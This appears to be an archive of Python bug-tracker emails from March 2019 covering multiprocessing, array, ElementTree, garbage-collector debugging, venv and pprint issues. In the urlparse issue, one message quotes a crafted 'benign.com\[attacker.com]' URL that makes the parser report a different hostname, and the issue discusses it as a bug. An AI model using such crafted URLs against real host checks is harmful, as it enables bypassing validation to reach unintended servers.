In-Reply-To: <1397681262.54.0.610859323151.issue21269@psf.upfronthosting.co.za>
Message-ID: <1553242249.3.0.594031969689.issue21269@roundup.psfhosted.org>


Chris Withers <chris at withers.org> added the comment:


New changeset b0df45e55dc8304bac0e3cad0225472b84190964 by Chris Withers (Kumar Akshay) in branch 'master':
bpo-21269: Provide args and kwargs attributes on mock call objects GH11807
https://github.com/python/cpython/commit/b0df45e55dc8304bac0e3cad0225472b84190964


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21269>
_______________________________________

From report at bugs.python.org  Fri Mar 22 04:51:16 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 22 Mar 2019 08:51:16 +0000
Subject: [issue36399] multiprocessing: Queue does not work in virtualenv but
 works fine in main interpreter
Message-ID: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>


New submission from Bernt R?skar Brenna <bernt.brenna at gmail.com>:

When executing mp_queue_example.py in the system interpreter:

D:\dev\eva_v_next>d:\python372\python.exe mp_queue_example.py
main, pid=892, executable=d:\python372\python.exe
process_worker, pid=12848, executable=d:\python372\python.exe
submitting...
submitting 0
submitting 1
submitting 2
Executing job 0
Executing job 1
Executing job 2

When executing mp_queue_example.py in a virtualenv:

D:\dev\eva_v_next>VENV\Scripts\python.exe mp_queue_example.py
main, pid=25888, executable=D:\dev\eva_v_next\VENV\Scripts\python.exe
process_worker, pid=28144, executable=D:\dev\eva_v_next\VENV\Scripts\python.exe
submitting...
submitting 0
submitting 1
submitting 2

## Here it hangs, Ctrl-C gives this:

Process Process-1:
Traceback (most recent call last):
  File "D:\dev\eva_v_next\mp_queue_example.py", line 13, in process_worker
    inp = input_q.get_nowait()
  File "D:\python372\lib\multiprocessing\queues.py", line 126, in get_nowait
    return self.get(False)
  File "D:\python372\lib\multiprocessing\queues.py", line 100, in get
    raise Empty
_queue.Empty

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\python372\lib\multiprocessing\process.py", line 297, in _bootstrap
    self.run()
  File "D:\python372\lib\multiprocessing\process.py", line 99, in run
    self._target(*self._args, **self._kwargs)
  File "D:\dev\eva_v_next\mp_queue_example.py", line 13, in process_worker
    inp = input_q.get_nowait()
KeyboardInterrupt
Traceback (most recent call last):
  File "mp_queue_example.py", line 43, in <module>
    main_process_experiment()
  File "mp_queue_example.py", line 39, in main_process_experiment
    p.join()
  File "D:\python372\lib\multiprocessing\process.py", line 140, in join
    res = self._popen.wait(timeout)
  File "D:\python372\lib\multiprocessing\popen_spawn_win32.py", line 80, in wait
    res = _winapi.WaitForSingleObject(int(self._handle), msecs)
KeyboardInterrupt


---

mp_queue_example.py:

import multiprocessing as mp
from queue import Empty
import os
import sys
import time


def process_worker(input_q: mp.Queue):
    print(f'process_worker, pid={os.getpid()}, executable={sys.executable}')
    while True:
        try:
            inp = input_q.get_nowait()
            if inp == 'STOP':
                break
            execute_job(inp)
        except Empty:
            pass


def execute_job(input_args):
    print(f'Executing job {input_args}')


def main_process_experiment():
    print(f"main, pid={os.getpid()}, executable={sys.executable}")
    input_q = mp.Queue()

    p = mp.Process(target=process_worker, args=(input_q, ))
    p.start()
    time.sleep(0.5)

    print('submitting...')
    for i in range(3):
        print(f'submitting {i}')
        input_q.put(i)
    input_q.put('STOP')

    p.join()


if __name__ == '__main__':
    main_process_experiment()

----------
components: Library (Lib)
files: mp_queue_example.py
messages: 338591
nosy: Bernt.R?skar.Brenna
priority: normal
severity: normal
status: open
title: multiprocessing: Queue does not work in virtualenv but works fine in main interpreter
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48228/mp_queue_example.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:00:35 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 22 Mar 2019 09:00:35 +0000
Subject: [issue36399] multiprocessing: Queue does not work in virtualenv but
 works fine in main interpreter
In-Reply-To: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>
Message-ID: <1553245235.22.0.00817548489824.issue36399@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

I just checked using 3.6. The program does NOT hang when executed from a 3.6 virtualenv. So this is a possible regression (or something could be messed up on my system).

D:\dev\eva_v_next>VENV36\Scripts\python.exe mp_queue_example.py
main, pid=28956, executable=D:\dev\eva_v_next\VENV36\Scripts\python.exe
process_worker, pid=8924, executable=D:\dev\eva_v_next\VENV36\Scripts\python.exe
submitting...
submitting 0
submitting 1
submitting 2
Executing job 0
Executing job 1
Executing job 2

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:01:18 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 22 Mar 2019 09:01:18 +0000
Subject: [issue36399] multiprocessing: Queue does not work in virtualenv but
 works fine in main interpreter
In-Reply-To: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>
Message-ID: <1553245278.68.0.231881888035.issue36399@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +davin, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:04:45 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 22 Mar 2019 09:04:45 +0000
Subject: [issue36399] multiprocessing: Queue does not work in virtualenv but
 works fine in main interpreter
In-Reply-To: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>
Message-ID: <1553245485.64.0.341869073825.issue36399@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

Versions:

> VENV\Scripts\python.exe --version
Python 3.7.2

> VENV36\Scripts\python.exe --version
Python 3.6.8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:10:54 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 22 Mar 2019 09:10:54 +0000
Subject: [issue36399] multiprocessing: Queue does not work in virtualenv but
 works fine in main interpreter
In-Reply-To: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>
Message-ID: <1553245854.3.0.793776183961.issue36399@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

I also checked using 3.8 (built from commit 1f58f4fa6a0e3c60cee8df4a35c8dcf3903acde8), and it works there, so it looks as if 3.7 is the problem.

> VENV38\Scripts\python.exe --version
Python 3.8.0a2+

> VENV38\Scripts\python.exe mp_queue_example.py
main, pid=8284, executable=D:\dev\eva_v_next\VENV38\Scripts\python.exe
process_worker, pid=16396, executable=D:\dev\cpython\PCbuild\win32\python.exe
submitting...
submitting 0
submitting 1
submitting 2
Executing job 0
Executing job 1
Executing job 2

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:13:15 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 22 Mar 2019 09:13:15 +0000
Subject: [issue36299] Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553245995.73.0.561588457322.issue36299@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

https://mail.python.org/pipermail/python-dev/2019-March/156807.html

We may able to convert 'u' to wchar_t to int32_t and un-deprecate it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:32:13 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 22 Mar 2019 09:32:13 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1553247133.95.0.0431420354326.issue36233@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

I concur with Serhiy that the bug is in OpenCV (or its parser project), and that it is best solved there. Otherwise, we would create a dependency on a future/recent Python version for exporting XML to it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar 22 05:36:38 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 22 Mar 2019 09:36:38 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1553247398.52.0.846897195719.issue36233@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

As a work-around, you can provide your own XML declaration (or not) and pass "xml_declaration=False" into ElementTree.write() to prevent it from adding one. UTF-8 encoded XML is ok without such a declaration.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar 22 06:01:39 2019
From: report at bugs.python.org (daniel hahler)
Date: Fri, 22 Mar 2019 10:01:39 +0000
Subject: [issue24565] the f_lineno getter is broken
In-Reply-To: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za>
Message-ID: <1553248899.88.0.6142584762.issue24565@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
versions: +Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24565>
_______________________________________

From report at bugs.python.org  Fri Mar 22 06:43:34 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 22 Mar 2019 10:43:34 +0000
Subject: [issue36299] Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553251414.0.0.664306289246.issue36299@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12447
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 06:49:09 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 22 Mar 2019 10:49:09 +0000
Subject: [issue36299] Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553251749.76.0.75039336653.issue36299@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I found converting Py_UNICODE to Py_UCS4 wad happened, and reverted.
ref: https://bugs.python.org/issue13072

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 06:49:16 2019
From: report at bugs.python.org (lilydjwg)
Date: Fri, 22 Mar 2019 10:49:16 +0000
Subject: [issue34506] Traceback logged when SSL handshake fails
In-Reply-To: <1535269470.94.0.56676864532.issue34506@psf.upfronthosting.co.za>
Message-ID: <1553251756.98.0.110381532091.issue34506@roundup.psfhosted.org>


Change by lilydjwg <lilydjwg at gmail.com>:


----------
nosy: +lilydjwg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34506>
_______________________________________

From report at bugs.python.org  Fri Mar 22 07:26:51 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 22 Mar 2019 11:26:51 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553254011.5.0.596616327884.issue36299@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: +ncoghlan, skrah, vstinner
stage: patch review -> 
title: Deprecate 'u' type in array module -> array: Deprecate 'u' type in array module

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 07:27:43 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 22 Mar 2019 11:27:43 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553254063.06.0.272002592101.issue36338@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also issue20271 that discusses the other format http://[::1]spam where ::1 is returned as hostname. urlparse tries to parse the hostname as IPV6 address when there is [ and parses till ] at [0] thus "benign.com\[attacker.com]" is treated as a URL where attacker.com is assumed as the IPV6 hostname. I am not sure of the correct behavior. FWIW at least Java and golang return "benign.com[attacker.com]" and Ruby raises an exception that this is a bad URL.

Java

> (.getHost (java.net.URL. "http://benign.com\\[attacker.com]"))
"benign.com\\[attacker.com]"

golang: https://play.golang.org/p/q8pTo9ySLby


[0] https://github.com/python/cpython/blob/c5c6cdada3d41148bdeeacfe7528327b481c5d18/Lib/urllib/parse.py#L199

----------
nosy: +xtreak
stage: patch review -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Fri Mar 22 07:45:55 2019
From: report at bugs.python.org (=?utf-8?q?Anders_Hovm=C3=B6ller?=)
Date: Fri, 22 Mar 2019 11:45:55 +0000
Subject: [issue22490] Using realpath for __PYVENV_LAUNCHER__ makes Homebrew
 installs fragile
In-Reply-To: <1411623045.52.0.589017779939.issue22490@psf.upfronthosting.co.za>
Message-ID: <1553255155.92.0.91373032121.issue22490@roundup.psfhosted.org>


Anders Hovm?ller <boxed at killingar.net> added the comment:

I just discovered this ticket again and see that it's stuck! 

I have read through the thread but it's still a bit unclear what would be required to test this with homebrew like Guido says is needed for this to go forward. Is there anyone who can explain or better yet test?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22490>
_______________________________________

From report at bugs.python.org  Fri Mar 22 07:46:47 2019
From: report at bugs.python.org (Brecht Machiels)
Date: Fri, 22 Mar 2019 11:46:47 +0000
Subject: [issue33899] Tokenize module does not mirror "end-of-input" is
 newline behavior
In-Reply-To: <1529394112.27.0.56676864532.issue33899@psf.upfronthosting.co.za>
Message-ID: <1553255207.16.0.480351501555.issue33899@roundup.psfhosted.org>


Brecht Machiels <brecht at mos6581.org> added the comment:

In order to adapt code to this change, can we assume that a NEWLINE token with an empty string only occurs right before the ENDMARKER?

----------
nosy: +brechtm

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33899>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:21:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 13:21:01 +0000
Subject: [issue35284] Incomplete error handling in
 Python/compile.c:compiler_call()
In-Reply-To: <1542753481.5.0.788709270274.issue35284@psf.upfronthosting.co.za>
Message-ID: <1553260861.91.0.898844490214.issue35284@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset bdb9c497e177cdf881892de289b9d8a2b132f138 by Serhiy Storchaka (Zackery Spytz) in branch '3.7':
bpo-35284: Fix the error handling in the compiler's compiler_call(). (GH-10625) (GH-12496)
https://github.com/python/cpython/commit/bdb9c497e177cdf881892de289b9d8a2b132f138


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35284>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:32:40 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 22 Mar 2019 13:32:40 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553261560.24.0.942373542817.issue36389@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I don't think calling APIs like _PyDict_CheckConsistency() is super useful.  Can the PR find bugs like issue33803 quickly?

I think calling tp_traverse is better.


static int
check_object(PyObject *obj, void *unused)
{
    _PyObject_ASSERT(obj, Py_REFCNT(obj) > 0);
    return 0;
}

static void
gc_check_object(PyGC_Head *gc)
{
    PyObject *op = FROM_GC(gc);
    _PyObject_ASSERT(op, Py_REFCNT(obj) > 0);
    _PyObject_ASSERT(op, _PyObject_GC_IS_TRACKED(op));
    Py_Type(op)->tp_traverse(op, (visitproc)check_object, NULL);
}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:38:37 2019
From: report at bugs.python.org (Ivan Marin)
Date: Fri, 22 Mar 2019 13:38:37 +0000
Subject: [issue36400] Add activate script to venv root folder
Message-ID: <1553261917.49.0.71495104165.issue36400@roundup.psfhosted.org>


New submission from Ivan Marin <imarin at daitangroup.com.br>:

Instead of keeping the activate script of a virtualenv created with venv on the bin folder, move the file or create a link to the root folder of the venv file. Even better if there?s a way to make it easier to make shell autocomplete faster.

The rationale is that every time a virtualenv has to be activated, the path to the virtualenv has to be typed plus the bin folder and the activate script name. Having on the root folder of the virtualenv saves a few keystrokes, that compound to a lot of work when one is activating venvs all day.

----------
components: Library (Lib)
messages: 338604
nosy: Ivan Marin
priority: normal
severity: normal
status: open
title: Add activate script to venv root folder
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36400>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:51:03 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 22 Mar 2019 13:51:03 +0000
Subject: [issue36400] Add activate script to venv root folder
In-Reply-To: <1553261917.49.0.71495104165.issue36400@roundup.psfhosted.org>
Message-ID: <1553262663.79.0.89379011326.issue36400@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vinay.sajip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36400>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:57:14 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 22 Mar 2019 13:57:14 +0000
Subject: [issue36400] Add activate script to venv root folder
In-Reply-To: <1553261917.49.0.71495104165.issue36400@roundup.psfhosted.org>
Message-ID: <1553263034.62.0.930542512423.issue36400@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

While I think this might have been a reasonable choice when this was first added, I think it's too late to change. We'd have to keep the files in bin (or Scripts) indefinitely because there are a zillion tutorials that talk about them. And having them in both places just leads to confusion.

----------
nosy: +eric.smith
versions:  -Python 3.5, Python 3.6, Python 3.7, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36400>
_______________________________________

From report at bugs.python.org  Fri Mar 22 10:13:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 14:13:43 +0000
Subject: [issue35284] Incomplete error handling in
 Python/compile.c:compiler_call()
In-Reply-To: <1542753481.5.0.788709270274.issue35284@psf.upfronthosting.co.za>
Message-ID: <1553264023.21.0.238474979237.issue35284@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I wonder how did you find this bug?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35284>
_______________________________________

From report at bugs.python.org  Fri Mar 22 10:14:28 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 14:14:28 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1553264068.59.0.962037697148.issue36233@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar 22 10:44:21 2019
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 22 Mar 2019 14:44:21 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553265861.92.0.134013163271.issue36299@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

I think the problem is still whether to use 'u' == UCS2 and 'w' == UCS4 like in PEP-3118.

For the project I'm currently working on I'd need these for buffer exports:

>>> from xnd import *
>>> x = xnd(["abc", "xyz"], dtype="fixed_string(10, 'utf16')")
>>> y = xnd(["abc", "xyz"], dtype="fixed_string(10, 'utf32')")
>>> 
>>> memoryview(x)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: type is not supported by the buffer protocol


The use case is not an array that represents a single utf16 string, but
an array *of* fixed strings with different encodings.

So x would be exported with format 'u' and y with format 'w'.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:01:08 2019
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 22 Mar 2019 15:01:08 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553266868.21.0.717380854564.issue36299@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Just to demonstrate what the format would look like, this is working
for an array of fixed bytes:

>>> x = xnd([b"123", b"23456"], dtype="fixed_bytes(size=10)")
>>> memoryview(x).format
'10s'


So the formats in the previous message would be '10u' and '10w'.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:03:02 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 22 Mar 2019 15:03:02 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553266982.27.0.706878358177.issue36299@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

array('u') is not tied with the legacy Unicode C API. It is possible to use the modern wchar_t based Unicode C API for it. See issue36346.

There are benefits from getting rid of the legacy Unicode C API, but not from array('u').

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:10:07 2019
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 22 Mar 2019 15:10:07 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553267407.26.0.887965916198.issue36299@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

array() uses struct module characters except for 'u'. PEP-3118 was 
supposed to be implemented in the struct module.

If array() continues to use 'u', the only sensible thing would be
to remove (or rename) 'a', 'u' and 'w' from PEP-3118.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:25:27 2019
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 22 Mar 2019 15:25:27 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553268327.89.0.735360545088.issue36299@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

The funny thing is that array() already knows this:

>>> import array
>>> a = array.array("u", "123")
>>> memoryview(a).format
'w'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:55:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Mar 2019 15:55:29 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553270129.99.0.424364941573.issue36389@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> I don't think calling APIs like _PyDict_CheckConsistency() is super useful.

I looked a multiple old issues which contain "visit_decref". Most of them are really strange crashes and were closed with a message like "we don't have enough info to debug, sorry". So honestly, I'm not sure of what is the most "efficient" way to detect corrupted objects.

I guess that we need a trade-off between completeness of the checks and the performance.

gc.enable_object_debugger(1) simply makes Python completely unusable. Maybe such very bad performance makes the feature basically useless. I'm not sure at this point.

I tried to find an old bug which mentioned "visit_decref", tried to reintroduced the fixed bug, but I'm not really convinced by my experimental tests so far.

That being said, I *like* your idea of reusing tp_traverse. Not only it fits very well into the gc module (I chose to put the new feature in the gc module on purpose), but it's closer to the existing "visit_decref crash". If someone gets a crash if visit_decref() and the object debugger uses tp_traverse, object debugger *will* catch the same bug. The expectation is to be able to get it early.

--

Oh by the way, why not using lower GC thresholds? I proposed this idea, but there are multiple issues with that. It can hide the bug (objects destroyed in a different order). It can also change the behavior of the application, which is linked to my previous point (again, objects destroyed in a different order).

That's how Serhiy Storchaka proposed the design of gc.enable_object_debugger(): traverse without touching the reference counter.
https://mail.python.org/pipermail/python-dev/2018-June/153860.html

Thanks Serhiy for this nice idea ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Fri Mar 22 11:56:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Mar 2019 15:56:45 +0000
Subject: [issue36299] array: Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1553270205.48.0.0700018994523.issue36299@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 22 13:16:56 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 22 Mar 2019 17:16:56 +0000
Subject: [issue36400] Add activate script to venv root folder
In-Reply-To: <1553261917.49.0.71495104165.issue36400@roundup.psfhosted.org>
Message-ID: <1553275016.29.0.331824073732.issue36400@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I agree with Eric.

Thanks for the idea, Ivan, but I'm closing this as an idea we won't be pursuing.

----------
nosy: +brett.cannon
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36400>
_______________________________________

From report at bugs.python.org  Fri Mar 22 13:17:47 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 22 Mar 2019 17:17:47 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553275067.84.0.0370467224283.issue36085@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy:  -brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Fri Mar 22 13:22:23 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 17:22:23 +0000
Subject: [issue30670] pprint for dict in sorted order or insert order?
In-Reply-To: <1497492955.33.0.313949068523.issue30670@psf.upfronthosting.co.za>
Message-ID: <1553275343.63.0.454771073408.issue30670@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 96831c7fcf888af187bbae8254608cccb4d6a03c by Raymond Hettinger (R?mi Lapeyre) in branch 'master':
bpo-30670: Add pp function to the pprint module (GH-11769)
https://github.com/python/cpython/commit/96831c7fcf888af187bbae8254608cccb4d6a03c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30670>
_______________________________________

From report at bugs.python.org  Fri Mar 22 13:24:37 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 17:24:37 +0000
Subject: [issue30670] pprint for dict in sorted order or insert order?
In-Reply-To: <1497492955.33.0.313949068523.issue30670@psf.upfronthosting.co.za>
Message-ID: <1553275477.32.0.220152096426.issue30670@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Thanks for the contribution.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30670>
_______________________________________

From report at bugs.python.org  Fri Mar 22 14:56:36 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 22 Mar 2019 18:56:36 +0000
Subject: [issue35528] [DOC] [LaTeX] Sphinx 2.0 uses GNU FreeFont as default
 for xelatex
In-Reply-To: <1545172472.78.0.788709270274.issue35528@psf.upfronthosting.co.za>
Message-ID: <1553280996.86.0.354124468168.issue35528@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

Thanks a lot for the heads up jfbu!

Opened a PR here: https://github.com/python/psf-salt/pull/167

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35528>
_______________________________________

From report at bugs.python.org  Fri Mar 22 14:56:53 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 22 Mar 2019 18:56:53 +0000
Subject: [issue35528] [DOC] [LaTeX] Sphinx 2.0 uses GNU FreeFont as default
 for xelatex
